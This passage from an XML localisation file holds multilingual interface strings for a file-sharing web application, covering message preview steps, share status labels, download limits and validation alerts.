<nl>Voer hieronder uw persoonlijk bericht voor uw geadresseerde(n) in.</nl>
</msg>
<msg name="STEP.5">
<en>Step 5: Preview message</en>
<de>Schritt 5: Email Vorschau</de>
<es>Paso 5: Visualizar el mensaje</es>
<fr>Pas 5 : Prévisulaiser votre message</fr>
<it>Passo 5: Anteprima del messaggio</it>
<ru>Шаг 5. Просмотреть сообщение</ru>
<ja>ステップ 5 :メッセージのプレビュー</ja>
<zh>第 5 步:预览邮件</zh>
<ko>5단계: 메시지 미리 보기</ko>
<en-gb>Step 5: Preview message</en-gb>
<hu>5. lépés: Üzenet előnézete</hu>
<pt-br>Etapa 5: Visualizar mensagem</pt-br>
<nl>Stap 5: Bekijk het afdrukvoorbeeld van uw e-mailbericht</nl>
</msg>
<msg name="STEP.5S">
<en>Step 3: Preview message</en>
<de>Schritt 3: Email Vorschau</de>
<es>Paso 3: Visualizar el mensaje</es>
<fr>Etape 3 : afficher un aperçu du message</fr>
<it>Passo 3: Anteprima del messaggio</it>
<ru>Шаг 3. Просмотреть сообщение</ru>
<ja>ステップ 3 : メッセージのプレビュー</ja>
<zh>第 3 步:预览邮件</zh>
<ko>3단계: 메시지 미리 보기</ko>
<en-gb>Step 3: Preview message</en-gb>
<hu>3. lépés: Üzenet előnézete</hu>
<pt-br>Etapa 3: Visualizar mensagem</pt-br>
<nl>Stap 3: Bekijk het afdrukvoorbeeld van uw e-mailbericht</nl>
</msg>
<msg name="STEP.5B">
<en>A preview of your message is displayed below.</en>
<es>A continuación, puede visualizar el mensaje.</es>
<de>Unten finden Sie eine Vorschau Ihrer Nachricht.</de>
<fr>Un aperçu du message s'affiche ci-dessous.</fr>
<it>Di seguito viene visualizzata un'anteprima del messaggio.</it>
<ru>Ниже можно просмотреть свое сообщение.</ru>
<ja>入力したメッセージのプレビューが以下に表示されます。</ja>
<zh>下面显示了邮件的预览。</zh>
<ko>아래에 메시지의 미리 보기가 표시됩니다.</ko>
<en-gb>A preview of your message is displayed below.</en-gb>
<hu>Az alábbiakban az Ön üzenetének előnézeti képét láthatja</hu>
<pt-br>Uma visualização da sua mensagem é exibida a seguir.</pt-br>
<nl>Hieronder wordt een afdrukvoorbeeld van uw e-mailbericht weergegeven.</nl>
</msg>
<msg name="STEP.6">
<en>Your message has been sent!</en>
<es>El mensaje se ha enviado.</es>
<de>Ihre Nachricht wurde gesendet.</de>
<fr>Votre message a été envoyée avec un lien sécurisé vers le fichier partagé.</fr>
<it>Il messaggio è stato inviato.</it>
<ru>Сообщение отправлено!</ru>
<ja>メッセージは送信されました。</ja>
<zh>您的邮件已发送!</zh>
<ko>메시지가 전송되었습니다!</ko>
<en-gb>Your message has been sent!</en-gb>
<hu>A program elküldte az Ön üzenetét!</hu>
<pt-br>Sua mensagem foi enviada!</pt-br>
<nl>Uw e-mailbericht is verzonden.</nl>
</msg>
<msg name="STEP.6B">
<en>Your message was sent to the following people at</en>
<es>Se ha enviado el mensaje a las siguientes personas en</es>
<de>Ihre Nachricht wurde an folgende Personen versandt:</de>
<fr>Votre message a été envoyé aux personnes suivantes à</fr>
<it>Il messaggio è stato inviato alle seguenti persone il giorno</it>
<ru>Сообщение отправлено следующим пользователям в</ru>
<ja>メッセージは、次の宛先に送信されました。</ja>
<zh>您的邮件已在以下时间发送至以下人员</zh>
<ko>메시지는 다음 사용자에게 전송되었습니다</ko>
<en-gb>Your message was sent to the following people at</en-gb>
<hu>A program elküldte az Ön üzenetét a következő embereknek:</hu>
<pt-br>Sua mensagem foi enviada para as seguintes pessoas em</pt-br>
<nl>Uw e-mailbericht is verzonden naar de volgende gebruikers om</nl>
</msg>
<msg name="INFO.FILE">
<en>File information</en>
<de>Datei Information</de>
<es>Información del archivo</es>
<fr>Information sur le fichier</fr>
<it>Informazioni sul file</it>
<ru>Сведения о файлах</ru>
<ja>ファイル情報</ja>
<zh>文件信息</zh>
<ko>파일 정보</ko>
<en-gb>File information</en-gb>
<hu>Fájlinformáció</hu>
<pt-br>Informações de arquivo</pt-br>
<nl>Bestandsinformatie</nl>
</msg>
<msg name="INFO.SHARE">
<en>File Sharing information</en>
<es>Información de Transferencia de archivos</es>
<de>Informationen zur Dateifreigabe</de>
<fr>Informations dur le partage de fichiers</fr>
<it>Informazioni sulla Condivisione dei file</it>
<ru>Информация об общем доступе к файлам</ru>
<ja>ファイル共有の情報</ja>
<zh>文件共享信息</zh>
<ko>파일 공유 정보</ko>
<en-gb>File Sharing information</en-gb>
<hu>Fájlmegosztási információk</hu>
<pt-br>Informações sobre compartilhamento de arquivos</pt-br>
<nl>Informatie over Bestanden delen</nl>
</msg>
<msg name="INFO.EMAIL">
<en>Shared with</en>
<de>Freigegeben für</de>
<es>Compartido con</es>
<fr>Partager avec</fr>
<it>Condivise con</it>
<ru>Общий доступ открыт для</ru>
<ja>共有者</ja>
<zh>共享者</zh>
<ko>공유 사용자</ko>
<en-gb>Shared with</en-gb>
<hu>Megosztva a következővel:</hu>
<pt-br>Compartilhada com</pt-br>
<nl>Gedeeld met</nl>
</msg>
<!-- FileShare screen texts -->
<msg name="FILEDETAILS">
<en>File Details</en>
<es>Detalles del archivo</es>
<fr>Détails de fichier</fr>
<de>Dateidetails</de>
<it>Dettagli sul file</it>
<ru>Сведения о файлах</ru>
<ja>ファイルの詳細</ja>
<zh>文件详情</zh>
<ko>파일 세부사항</ko>
<en-gb>File Details</en-gb>
<hu>A fájl részletes adatai</hu>
<pt-br>Detalhes do arquivo</pt-br>
<nl>Detailgegevens van bestand</nl>
</msg>
<msg name="RECIPIENTS">
<en>Recipients</en>
<es>Destinatarios</es>
<de>Empfänger</de>
<fr>Destinataires</fr>
<it>Destinatari</it>
<ru>Получатели</ru>
<ja>受信者</ja>
<zh>收件人</zh>
<ko>수신인</ko>
<en-gb>Recipients</en-gb>
<hu>Címzettek</hu>
<pt-br>Destinatários</pt-br>
<nl>Geadresseerden</nl>
</msg>
<msg name="DOWNLOADDETAILS">
<en>Download Details</en>
<es>Detalles de la descarga</es>
<de>Downloaddetails</de>
<fr>Télécharger les détails</fr>
<it>Dettagli download</it>
<ru>Сведения о загрузке</ru>
<ja>ダウンロードの詳細</ja>
<zh>下载详情</zh>
<ko>다운로드 세부사항</ko>
<en-gb>Download Details</en-gb>
<hu>Letöltési adatok</hu>
<pt-br>Detalhes do download</pt-br>
<nl>Detailgegevens van downloads</nl>
</msg>
<msg name="EXPIRENOW">
<en>Expires now</en>
<es>Caduca ahora</es>
<de>Läuft jetzt ab</de>
<fr>Expire maintenant</fr>
<it>Scade ora</it>
<ru>Истекает сейчас</ru>
<ja>今すぐ期限切れにする</ja>
<zh>现在到期</zh>
<ko>지금 만료</ko>
<en-gb>Expires now</en-gb>
<hu>Lejár most</hu>
<pt-br>Expira agora</pt-br>
<nl>Verstrijkt nu</nl>
</msg>
<msg name="FILESSHARED">
<en>Files Shared</en>
<es>Archivos compartidos</es>
<de>Gemeinsame Dateien</de>
<fr>Fichiers partagés</fr>
<it>File condivisi</it>
<ru>Файлы для общего доступа</ru>
<ja>共有されるファイル</ja>
<zh>共享文件</zh>
<ko>공유된 파일</ko>
<en-gb>Files Shared</en-gb>
<hu>Megosztott fájlok</hu>
<pt-br>Arquivos compartilhados</pt-br>
<nl>Gedeelde bestanden</nl>
</msg>
<msg name="EMAIL.SENT">
<en>Email was sent on %SHARE.MAIL.SENT_dtms to the following email addresses:\n%SHARE.MAIL.RCPT</en>
<de>Die Email wurde am %SHARE.MAIL.SENT_dtms an folgende Emailadressen versandt:\n%SHARE.MAIL.RCPT</de>
<es>Se envió un mensaje sobre %SHARE.MAIL.SENT_dtms a las siguientes direcciones de correo electrónico:\n%SHARE.MAIL.RCPT</es>
<fr>Le message a été envoyé sur %SHARE.MAIL.SENT_dtms aux adresses emails suivantes : \n%SHARE.MAIL.RCPT</fr>
<it>È stato inviato un messaggio e-mail il %SHARE.MAIL.SENT_dtms ai seguenti indirizzi:\n%SHARE.MAIL.RCPT</it>
<ru>Электронное сообщение было отправлено %SHARE.MAIL.SENT_dtms по следующим адресам электронной почты:\n%SHARE.MAIL.RCPT</ru>
<ja>電子メールは、%SHARE.MAIL.SENT_dtms に、次の電子メールアドレス宛てに送信されました :\n%SHARE.MAIL.RCPT</ja>
<zh>电子邮件在 %SHARE.MAIL.SENT_dtms 上发送至以下电子邮件地址:\n%SHARE.MAIL.RCPT</zh>
<ko>전자 메일을 %SHARE.MAIL.SENT_dtms의 다음 전자 메일 주소로 보냈습니다.\n%SHARE.MAIL.RCPT</ko>
<en-gb>E-mail was sent on %SHARE.MAIL.SENT_dtms to the following e-mail addresses:\n%SHARE.MAIL.RCPT</en-gb>
<hu>A program e-mailt küldött a(z)  %SHARE.MAIL.SENT_dtms-en keresztül a következő e-mail címekre:\n%SHARE.MAIL.RCPT</hu>
<pt-br>O email foi enviado em %SHARE.MAIL.SENT_dtms para os seguintes endereços:\n%SHARE.MAIL.RCPT</pt-br>
<nl>Het e-mailbericht is op %SHARE.MAIL.SENT_dtms verzonden naar de volgende e-mailadressen:\n%SHARE.MAIL.RCPT</nl>
</msg>
<msg name="EMAIL.PENDING">
<en>Email will soon be sent to %SHARE.MAIL.RCPT.</en>
<de>Die Email wird bald an %SHARE.MAIL.RCPT gesendet.</de>
<es>Se enviará un mensaje pronto a %SHARE.MAIL.RCPT.</es>
<fr>Le message sera bientôt envoyé à %SHARE.MAIL.RCPT.</fr>
<it>Verrà inviato subito un messaggio e-mail a %SHARE.MAIL.RCPT.</it>
<ru>Скоро электронное сообщение будет отправлено %SHARE.MAIL.RCPT.</ru>
<ja>電子メールは、%SHARE.MAIL.RCPT 宛てにすぐに送信されます。</ja>
<zh>电子邮件将很快发送至 %SHARE.MAIL.RCPT。</zh>
<ko>전자 메일을 %SHARE.MAIL.RCPT(으)로 보낼 예정입니다.</ko>
<en-gb>E-mail will soon be sent to %SHARE.MAIL.RCPT.</en-gb>
<hu>A program rövidesen elküldi az e-mailt a következőnek: %SHARE.MAIL.RCPT.</hu>
<pt-br>O email será enviado em breve para %SHARE.MAIL.RCPT.</pt-br>
<nl>Het e-mailbericht zal straks worden verzonden naar %SHARE.MAIL.RCPT.</nl>
</msg>
<msg name="EMAIL.NONE">
<en>No emails were scheduled.</en>
<de>Keine Emails in der Warteschlange.</de>
<es>No hay mensajes programados.</es>
<fr>Aucun message n'est planifié.</fr>
<it>Nessun messaggio e-mail pianificato.</it>
<ru>Отправка электронных сообщений не запланирована.</ru>
<ja>スケジュール済みの電子メールはありません。</ja>
<zh>没有安排任何电子邮件。</zh>
<ko>예약된 전자 메일이 없습니다.</ko>
<en-gb>No e-mails were scheduled.</en-gb>
<hu>Nincsenek ütemezett e-mailek.</hu>
<pt-br>Não há emails programados.</pt-br>
<nl>Er zijn geen e-mailberichten gepland.</nl>
</msg>
<msg name="NAMEINPUT">
<en>Select file</en>
<de>Wählen sie eine Datei</de>
<es>Seleccionar archivo</es>
<fr>Sélectionnez un fichier à partager</fr>
<it>Seleziona file</it>
<ru>Выбрать файл</ru>
<ja>ファイルを選択</ja>
<zh>选择文件</zh>
<ko>파일 선택</ko>
<en-gb>Select file</en-gb>
<hu>Fájl kijelölése</hu>
<pt-br>Selecionar arquivo</pt-br>
<nl>Bestand selecteren</nl>
</msg>
<msg name="DESC">
<en>Description</en>
<de>Beschreibung</de>
<es>Descripción</es>
<fr>Description</fr>
<it>Descrizione</it>
<ru>Описание</ru>
<ja>説明</ja>
<zh>说明</zh>
<ko>설명</ko>
<en-gb>Description</en-gb>
<hu>Leírás</hu>
<pt-br>Descrição</pt-br>
<nl>Beschrijving</nl>
</msg>
<msg name="DL.LIMIT">
<en>Max # of downloads:</en>
<de>Downloads:</de>
<es>Nº máx. de descargas:</es>
<fr>Nb max de personne autorisé à télécharger :</fr>
<it>N. massimo di download:</it>
<ru>Не более # загрузок:</ru>
<ja>最大ダウンロード回数:</ja>
<zh>最大下载次数:</zh>
<ko>최대 다운로드 수:</ko>
<en-gb>Max # of downloads:</en-gb>
<hu>Letöltések maximális száma:</hu>
<pt-br>Núm. máx. de downloads:</pt-br>
<nl>Maximumaantal downloads:</nl>
</msg>
<msg name="DL.DURATION">
<en>Share for</en>
<de>Freigabe für</de>
<es>Compartir durante</es>
<fr>Partager pour</fr>
<it>Condividi per</it>
<ru>Открыть общий доступ для</ru>
<ja>共有の期間</ja>
<zh>共享期限</zh>
<ko>공유 기간</ko>
<en-gb>Share for</en-gb>
<hu>Megosztás ennyi időn át:</hu>
<pt-br>Compartilhar para</pt-br>
<nl>Delen gedurende</nl>
</msg>
<msg name="FILE">
<en>File</en>
<de>Datei</de>
<es>Archivo</es>
<fr>Fichier</fr>
<it>File</it>
<ru>Файл</ru>
<ja>ファイル</ja>
<zh>文件</zh>
<ko>파일</ko>
<en-gb>File</en-gb>
<hu>Fájl</hu>
<pt-br>Arquivo</pt-br>
<nl>Bestand</nl>
</msg>
<msg name="ENABLED">
<en>Enabled</en>
<de>Aktiviert</de>
<es>Habilitado</es>
<fr>Activé</fr>
<it>Attivato</it>
<ru>Включено</ru>
<ja>有効</ja>
<zh>已启用</zh>
<ko>사용</ko>
<en-gb>Enabled</en-gb>
<hu>Bekapcsolva</hu>
<pt-br>Habilitado</pt-br>
<nl>Ingeschakeld</nl>
</msg>
<msg name="SUCCEED">
<en>The file securely shared</en>
<de>Die Datei wurde sicher freigegeben</de>
<es>El archivo compartido de forma segura</es>
<fr>Le fichier est partagé en toute sécurité</fr>
<it>File condiviso in modo sicuro</it>
<ru>К данному файлу открыт безопасный доступ</ru>
<ja>安全に共有されているファイル</ja>
<zh>已安全地共享文件</zh>
<ko>파일이 안전하게 공유됨</ko>
<en-gb>The file securely shared</en-gb>
<hu>A fájl biztonságosan megosztva</hu>
<pt-br>O arquivo compartilhado com segurança</pt-br>
<nl>Het bestand is nu veilig gedeeld</nl>
</msg>
<msg name="SENTTO">
<en>A secure link was sent to</en>
<de>Ein sicherer Link wurde gesendet an</de>
<es>Se envió un vínculo seguro a</es>
<fr>Un lien sécurisé à été envoyé à</fr>
<it>Un collegamento protetto è stato inviato a</it>
<ru>Безопасная ссылка была отправлена пользователю</ru>
<ja>セキュア リンクは次の宛先に送信されました</ja>
<zh>安全链接已发送至</zh>
<ko>보안 링크가 전송됨</ko>
<en-gb>A secure link was sent to</en-gb>
<hu>A program egy biztonságos hivatkozást küldött ide:</hu>
<pt-br>Um link seguro foi enviado para</pt-br>
<nl>Een beveiligde link is verzonden naar</nl>
</msg>
<msg name="MORESHARE">
<en>To share this file again, or to share a new file</en>
<de>Diese Datei erneut freigeben, oder eine neue Datei freigeben</de>
<es>para compartir este archivo otra vez o para compartir un archivo nuevo</es>
<fr>Pour partager à nouveau ce fichier, ou pour partager un autre fichier</fr>
<it>Per condividere di nuovo questo file o per condividere un nuovo file</it>
<ru>Чтобы снова открыть общий доступ к данному файлу или открыть доступ к новому файлу</ru>
<ja>このファイルを再び共有する場合、または新しいファイルを共有する場合</ja>
<zh>再次共享此文件,或共享新文件</zh>
<ko>이 파일을 다시 공유하거나 새 파일을 공유하려면</ko>
<en-gb>To share this file again or to share a new file</en-gb>
<hu>A fájl ismételt megosztásához, vagy új fájl megosztásához</hu>
<pt-br>Para compartilhar este arquivo novamente ou para compartilhar um novo arquivo</pt-br>
<nl>Dit bestand opnieuw delen of een nieuw bestand delen</nl>
</msg>
<msg name="CHECKSTATUS">
<en>To check the status of your shared files</en>
<de>Status der freigegebenen Datei überprüfen</de>
<es>Para comprobar el estado de los archivos compartidos</es>
<fr>Pour contrôler l'état de vos fichiers partagés</fr>
<it>Per controllare lo stato dei file condivisi</it>
<ru>Чтобы проверить состояние своих общих файлов</ru>
<ja>共有ファイルのステータスを確認する場合</ja>
<zh>检查已共享文件的状态</zh>
<ko>공유 파일 상태를 확인하려면</ko>
<en-gb>To check the status of your shared files</en-gb>
<hu>A megosztott fájlok állapotának ellenőrzéséhez</hu>
<pt-br>Para verificar o status dos arquivos compartilhados</pt-br>
<nl>De status van uw gedeelde bestanden controleren</nl>
</msg>
<msg name="STATUS.EXCEEDED">
<en>Exceeded</en>
<de>Überschritten</de>
<es>Excedido</es>
<fr>Dépassé</fr>
<it>Superato</it>
<ru>Превышено</ru>
<ja>超過</ja>
<zh>超过</zh>
<ko>초과됨</ko>
<en-gb>Exceeded</en-gb>
<hu>Túllépve</hu>
<pt-br>Excedido</pt-br>
<nl>Overschreden</nl>
</msg>
<msg name="STATUS.EXPIRED">
<en>Expired</en>
<de>Abgelaufen</de>
<es>Caducado</es>
<fr>Expiré</fr>
<it>Scaduto</it>
<ru>Просрочено</ru>
<ja>期限切れ</ja>
<zh>已到期</zh>
<ko>만료</ko>
<en-gb>Expired</en-gb>
<hu>Lejárt</hu>
<pt-br>Expirado</pt-br>
<nl>Verstreken</nl>
</msg>
<msg name="STATUS.DISABLED">
<en>Disabled</en>
<de>Deaktiviert</de>
<es>Deshabilitado</es>
<fr>Désactivé</fr>
<it>Disattivato</it>
<ru>Отключен</ru>
<ja>無効</ja>
<zh>已禁用</zh>
<ko>사용 안 함</ko>
<en-gb>Disabled</en-gb>
<hu>Kikapcsolva</hu>
<pt-br>Desabilitado</pt-br>
<nl>Uitgeschakeld</nl>
</msg>
<msg name="STATUS.OK">
<en>OK</en>
<de>OK</de>
<es>Aceptar</es>
<fr>OK</fr>
<it>OK</it>
<ru>OK</ru>
<ja>OK</ja>
<zh>确定</zh>
<ko>확인</ko>
<en-gb>OK</en-gb>
<hu>OK</hu>
<pt-br>OK</pt-br>
<nl>OK</nl>
</msg>
<msg name="AUTO.RB.1">
<en>Automatically</en>
<de>Automatisch</de>
<es>Automáticamente</es>
<fr>Automatiquement</fr>
<it>Automaticamente</it>
<ru>Автоматически</ru>
<ja>自動</ja>
<zh>自动</zh>
<ko>자동으로</ko>
<en-gb>Automatically</en-gb>
<hu>Automatikusan</hu>
<pt-br>Automaticamente</pt-br>
<nl>Automatisch</nl>
</msg>
<msg name="AUTO.RB.2">
<en>most common</en>
<es>el más común</es>
<de>mit häufiger Verwendung</de>
<fr>le plus courant</fr>
<it>Più comune</it>
<ru>наиболее общий</ru>
<ja>最も一般的</ja>
<zh>最常见</zh>
<ko>대부분 공통</ko>
<en-gb>most common</en-gb>
<hu>legáltalánosabb</hu>
<pt-br>mais comum</pt-br>
<nl>vaakst gebruikt</nl>
</msg>
<msg name="AUTO.RB.3">
<en>I would like the system to send the File Sharing link for me.</en>
<es>Deseo que el sistema envíe por mí el enlace de Transferencia de archivos.</es>
<de>Das System soll den Dateifreigabelink für mich versenden.</de>
<fr>Je veux que le système envoie le lien du partage de fichiers de ma part.</fr>
<it>Desidero che il sistema invii il collegamento per la Condivisione dei file.</it>
<ru>Я предпочитаю, чтобы система отправила ссылку на общий файл.</ru>
<ja>システムから自動的にファイル共有リンクを送信します。</ja>
<zh>我想让系统为我发送文件共享链接。</zh>
<ko>시스템에서 파일 공유 링크를 대신 보냅니다.</ko>
<en-gb>I would like the system to send the File Sharing link for me.</en-gb>
<hu>Szeretném, ha a rendszer küldené el a fájlmegosztási hivatkozást.</hu>
<pt-br>Gostaria que o sistema enviasse o link Compartilhamento de arquivos para mim.</pt-br>
<nl>Het systeem de koppeling voor Bestanden delen laten verzenden.</nl>
</msg>
<msg name="MANUAL.RB.1">
<en>Manually</en>
<es>Manualmente</es>
<de>Manuell</de>
<fr>Manuellement</fr>
<it>Manualmente</it>
<ru>Вручную</ru>
<ja>手動</ja>
<zh>手动</zh>
<ko>수동으로</ko>
<en-gb>Manually</en-gb>
<hu>Kézi</hu>
<pt-br>Manualmente</pt-br>
<nl>Handmatig</nl>
</msg>
<msg name="MANUAL.RB.2">
<en>I would like to create my own email and paste the File Sharing link into it.</en>
<es>Deseo crear yo mismo el mensaje de correo y pegar en él el enlace de Transferencia de archivos.</es>
<de>Ich möchte selbst eine E-Mail mit dem Dateifreigabelink erstellen.</de>
<fr>Je veux créer mon propre email et y coller le lien du partage de fichiers.</fr>
<it>Desidero creare l'e-mail e incollarvi il collegamento per la Condivisione dei file.</it>
<ru>Я предпочитаю создать собственное электронное письмо и вставить в него ссылку на общий файл.</ru>
<ja>自分で電子メールを作成し、メールにファイル共有リンクを貼り付けます。</ja>
<zh>我想创建自己的电子邮件并将文件共享链接粘贴到其中。</zh>
<ko>고유한 전자 메일을 만들고 파일 공유 링크를 전자 메일에 붙여넣습니다.</ko>
<en-gb>I would like to create my own email and paste the File Sharing link into it.</en-gb>
<hu>Szeretném magam elkészíteni az e-mailt, beillesztve a fájlmegosztási hivatkozást.</hu>
<pt-br>Gostaria de criar meu próprio email e colar o link Compartilhamento de arquivos nele.</pt-br>
<nl>Ik wil zelf een e-mailbericht maken en de koppeling voor Bestanden delen hierin plakken.</nl>
</msg>
<msg name="WAITNOTE">
<en>Please wait...</en>
<de>Bitte warten...</de>
<es>Espere...</es>
<fr>Veuillez patienter...</fr>
<it>Attendere...</it>
<ru>Подождите...</ru>
<ja>お待ちください...</ja>
<zh>请稍候...</zh>
<ko>잠시 기다려 주십시오...</ko>
<en-gb>Please wait...</en-gb>
<hu>Kérem, várjon...</hu>
<pt-br>Aguarde...</pt-br>
<nl>Een ogenblik geduld...</nl>
</msg>
<!-- JavaScript pop-up window alert messages -->
<msg name="EMAIL.INVALID.ADDRESS">
<en>Enter a valid email address.</en>
<de>Geben sie eine gültige Emailadresse ein.</de>
<es>Introduzca una dirección de correo electrónico válida.</es>
<fr>Entrez une adresse email valide</fr>
<it>Immettere un indirizzo e-mail valido.</it>
<ru>Введите допустимый адрес электронной почты.</ru>
<ja>正しい電子メール アドレスを入力してください。</ja>
<zh>输入有效的电子邮件地址。</zh>
<ko>올바른 전자 메일 주소를 입력하십시오.</ko>
<en-gb>Enter a valid e-mail address.</en-gb>
<hu>Adjon meg egy érvényes e-mail címet.</hu>
<pt-br>Digite um endereço de email válido.</pt-br>
<nl>Voer een geldig e-mailadres in.</nl>
</msg>
<msg name="EMAIL.NO.ADDRESS">
<en>Please provide at least one email address.</en>
<de>Geben sie bitte mindestens eine Emailadresse ein.</de>
<es>Introduzca al menos una dirección de correo electrónico.</es>
<fr>Veuillez saisir au moins une adresse email</fr>
<it>Fornire almeno un indirizzo e-mail.</it>
<ru>Укажите хотя бы один адрес электронной почты.</ru>
<ja>最低 1 つの電子メール アドレスを入力してください。</ja>
<zh>请至少提供一个电子邮件地址。</zh>
<ko>전자 메일 주소를 하나 이상 제공하십시오.</ko>
<en-gb>Please provide at least one e-mail address.</en-gb>
<hu>Kérem, adjon meg legalább egy e-mail címet.</hu>
<pt-br>Forneça pelo menos um endereço de email.</pt-br>
<nl>Voer minstens één e-mailadres in.</nl>
</msg>
<msg name="NAME.REQ">
<en>Please select a file.</en>
<de>Wählen sie bitte eine Datei.</de>
<es>Seleccione un archivo.</es>
<fr>Veuillez sélectionner un fichier</fr>
<it>Selezionare un file.</it>
<ru>Выберите файл.</ru>
<ja>ファイルを選択してください。</ja>
<zh>请选择一个文件。</zh>
<ko>파일을 선택하십시오.</ko>
<en-gb>Please select a file.</en-gb>
<hu>Kérem, válassza ki a fájlt.</hu>
<pt-br>Selecione um arquivo.</pt-br>
<nl>Selecteer een bestand.</nl>
</msg>
<msg name="DESC.REQ">
<en>Please enter a description of the file to share.</en>
<de>Geben sie bitte eine Beschreibung  für die Datei ein.</de>
<es>Introduzca una descripción del archivo compartido.</es>
<fr>Veuillez entrer une description de votre fichier partagé</fr>
<it>Immettere una descrizione del file da condividere.</it>
<ru>Введите описание данного общего файла.</ru>
<ja>共有するファイルの説明を入力してください。</ja>
<zh>请输入要共享的文件的说明。</zh>
<ko>공유할 파일에 대한 설명을 입력하십시오.</ko>
<en-gb>Please enter a description of the file to share.</en-gb>
<hu>Kérem, adjon egy leírást a megosztandó fájlhoz.</hu>
<pt-br>Digite uma descrição do arquivo a ser compartilhado.</pt-br>
<nl>Voer een beschrijving in voor het bestand dat u wilt delen.</nl>
</msg>
<msg name="NONNUMERIC.WARNING">
<en>Please use numbers when specifying the download limit.</en>
<es>Debe utilizar números para especificar el límite de descarga.</es>
<de>Verwenden Sie Nummern für die Angabe des Downloadlimits.</de>
<fr>Utilisez un chiffre pour spécifier la limite du téléchargement.</fr>
<it>Utilizzare numeri nell'indicazione del limite di download.</it>
<ru>При указании ограничения на загрузку используйте числа.</ru>
<ja>ダウンロード制限を指定する場合は、数字を使用してください。</ja>
<zh>指定下载限制时请使用数字。</zh>
<ko>다운로드 제한을 지정할 때 숫자를 사용하십시오.</ko>
<en-gb>Please use numbers when specifying the download limit.</en-gb>
<hu>Kérem, használjon számokat, ha megadja a letöltési korlátokat.</hu>
<pt-br>Use números ao especificar o limite de download.</pt-br>
<nl>Geef een maximumaantal op als downloadlimiet voor het bestand.</nl>
</msg>
<msg name="MESSAGE.REQ">
<en>Please provide a brief description for the shared file.</en>
<de>Geben sie bitte eine kurze Beschreibung für die freigegebene Datei an.</de>
<es>Introduzca una descripción breve del archivo compartido.</es>
<fr>Veuillez entrer une brève description de votre fichier partagé</fr>
<it>Fornire una breve descrizione del file condiviso.</it>
<ru>Предоставьте краткое описание данного общего файла.</ru>
<ja>共有するファイルについての短い説明を入力してください。</ja>
<zh>请提供共享文件的简要说明。</zh>
<ko>공유 파일에 대한 간단한 설명을 제공하십시오.</ko>
<en-gb>Please provide a brief description of the shared file.</en-gb>
<hu>Kérem, adjon egy rövid leírást a megosztott fájlhoz.</hu>
<pt-br>Forneça uma breve descrição do arquivo compartilhado.</pt-br>
<nl>Voer een beknopte omschrijving voor het gedeelde bestand in.</nl>
</msg>
<msg name="EXCEED.WARNING">
<en>If you decide to share this file, you will exceed your sharing limit. Are you sure you want to share this file?</en>
<de>Wenn sie diese Datei freigeben, wird ihr Freigabelimit überschritten werden. Sind sie sicher, dass sie diese Datei freigeben wollen.</de>
<es>Si decide compartir este archivo, excederá su límite para compartir. ¿Está seguro de que desea compartir este archivo?</es>
<fr>Si vous décidez de partager ce fichier, vous dépasserez votre quote-part de partage. Etes-vous certain de vouloir partager ce fichier?</fr>
<it>Se si decide di condividere questo file, si supererà il limite di condivisione. Condividere questo file?</it>
<ru>Если открыть общий доступ к данному файлу, то ограничение на общий доступ будет превышено. Открыть общий доступ к данному файлу?</ru>
<ja>このファイルの共有を決定した場合、共有制限を超えてしまいます。このファイルを共有しますか?</ja>
<zh>如果您决定共享此文件,您将超出共享限制。是否确定要共享此文件?</zh>
<ko>이 파일을 공유하기로 결정하면 공유 제한을 초과하게 됩니다. 이 파일을 공유하시겠습니까?</ko>
<en-gb>If you decide to share this file, you will exceed your sharing limit. Are you sure you want to share this file?</en-gb>
<hu>Ha úgy dönt, hogy megosztja ezt a fájlt, akkor ezzel meghaladja megosztási határértékét. Biztosan meg szeretné osztani ezt a fájlt?</hu>
<pt-br>Se decidir compartilhar este arquivo, você excederá o limite de compartilhamento. Tem certeza de que deseja compartilhar este arquivo?</pt-br>
<nl>Als u dit bestand deelt, overschrijdt u hiermee uw limiet voor bestanden delen. Weet u zeker dat u dit bestand wilt delen?</nl>
</msg>
<msg name="COPIED.CLIP">
<en>The File Sharing link had been placed on the clipboard.</en>
<es>Se ha colocado en el portapapeles el enlace de Transferencia de archivos.</es>
<de>Der Dateifreigabelink wurde in die Zwischenablage kopiert.</de>
<fr>Le lien du partage de fichiers a été placé dans le presse-papiers.</fr>
<it>Il collegamento Condivisione del file è stato inserito negli Appunti.</it>
<ru>Ссылка на общие файлы помещена в буфер обмена.</ru>
<ja>ファイル共有リンクは、クリップボードに置かれています。</ja>
<zh>文件共享链接已置于剪贴板上。</zh>
<ko>파일 공유 링크가 클립보드에 포함되었습니다.</ko>
<en-gb>The File Sharing link had been placed on the clipboard.</en-gb>
<hu>A program a vágólapra helyezte a Fájlmegosztás hivatkozást.</hu>
<pt-br>O link Compartilhamento de arquivos foi colocado na área de transferência.</pt-br>
<nl>De link voor bestanden delen is naar het Klembord gekopieerd.</nl>
</msg>
<!-- column headers in file list -->
<msg name="LIST">
<en>Currently shared files</en>
<de>Aktuell freigegebene Dateien</de>
<es>Archivos compartidos actualmente</es>
<fr>Fichiers actuellement partagés</fr>
<it>File attualmente condivisi</it>
<ru>Файлы, к которым в настоящее время открыт общий доступ</ru>
<ja>現在共有されているファイル</ja>
<zh>当前共享的文件</zh>
<ko>현재 공유된 파일</ko>
<en-gb>Currently shared files</en-gb>
<hu>A jelenleg megosztott fájlok</hu>
<pt-br>Arquivos atualmente compartilhados</pt-br>
<nl>Gedeelde bestanden op dit moment</nl>
</msg>
<msg name="NAME">
<en>Shared file:</en>
<de>Freigegebene Datei:</de>
<es>Archivo compartido:</es>
<fr>Nom :</fr>
<it>File condiviso:</it>
<ru>Общий файл:</ru>
<ja>共有されているファイル:</ja>
<zh>共享的文件:</zh>
<ko>공유된 파일:</ko>
<en-gb>Shared file:</en-gb>
<hu>Megosztott fájl:</hu>
<pt-br>Arquivo compartilhado:</pt-br>
<nl>Gedeeld bestand:</nl>
</msg>
<msg name="DESCRIPTION">
<en>Description:</en>
<de>Beschreibung:</de>
<es>Descripción:</es>
<fr>Description :</fr>
<it>Descrizione:</it>
<ru>Описание:</ru>
<ja>説明:</ja>
<zh>说明:</zh>
<ko>설명:</ko>
<en-gb>Description:</en-gb>
<hu>Leírás:</hu>
<pt-br>Descrição:</pt-br>
<nl>Beschrijving:</nl>
</msg>
<msg name="DETAIL">
<en>Details</en>
<de>Details</de>
<es>Detalles</es>
<fr>Détails</fr>
<it>Dettagli</it>
<ru>Подробности</ru>
<ja>詳細</ja>
<zh>详情</zh>
<ko>세부사항</ko>
<en-gb>Details</en-gb>
<hu>Részletek</hu>
<pt-br>Detalhes</pt-br>
<nl>Detailgegevens</nl>
</msg>
